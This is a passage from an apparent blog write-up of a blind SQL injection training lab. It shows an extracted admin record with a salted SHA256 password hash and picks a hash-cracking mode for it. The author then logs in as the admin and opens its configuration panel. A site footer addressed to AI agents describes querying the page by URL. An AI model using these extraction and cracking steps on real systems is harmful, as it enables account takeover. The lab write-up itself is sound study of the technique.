        print(f"{k}: {v}")

```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FaxYlkzJxEcNisWboZuUc%2Fimage.png?alt=media&#x26;token=f7849f10-cb6f-4ba2-be7f-fb7d923c60b4" alt=""><figcaption></figcaption></figure>

YES! Now we have the full hash of the users, and this time we also have the correct user! (also please don't re-check the password outputs from before, as the hashes are different since I had to start multiple instances of this lab).

{% code overflow="wrap" expandable="true" %}

```
👤 ROW 0
m.chen@gridmark.io
[id] 1
[username] m.chen
[full_name] Michael Chen
[password] 4bb2c3727f4e39285ce6ebf28193ff73bdc81d05632320ce7a3d0bf15fa7622b:8ccf01bbd5e82e39b91250278870ee5c
[role] admin
[registered_at] 2024-01-15 09:00:00
[last_login_at] 
```

{% endcode %}

The hash looks like either SHA256 (from the first iteration we had without the salt) or SHA256:SALT, so either 1400 or 1410 mode.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FBmtGY8tyHuRZA2amiBJL%2Fimage.png?alt=media&#x26;token=5284350c-6d2e-40a4-8540-82e0db861f03" alt=""><figcaption></figcaption></figure>

Now we can try and login as m.chen!

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FH4SResldgOSezgUPYW4x%2Fimage.png?alt=media&#x26;token=6e4b6590-ce6b-4125-bb7f-a69541051949" alt=""><figcaption></figcaption></figure>

We have an Admin panel that we need to check out.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F3lzQDa9yKxEhnytpWI02%2Fimage.png?alt=media&#x26;token=f4c96508-1690-451e-b5a3-b80c77bb0ce4" alt=""><figcaption></figcaption></figure>

Out of all the options, we know Configuration sounds the juiciest so let's see what it holds.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FfIiTBXEuRvdm23jLmBZ0%2Fimage.png?alt=media&#x26;token=47bfd708-12e2-4653-a121-be946332e1c4" alt=""><figcaption></figcaption></figure>

## Conclusion

This lab was great, it pushed me into figuring out how I can actually trust the data I am retrieving blindly, and obviously it showed that I trusted it too easily and early, especially since I wasn't taking into consideration that the extraction is an issue on my end. Great challenge on how Blind SQL injections work.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://minatours-notes.gitbook.io/blog/webverse/parcel.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
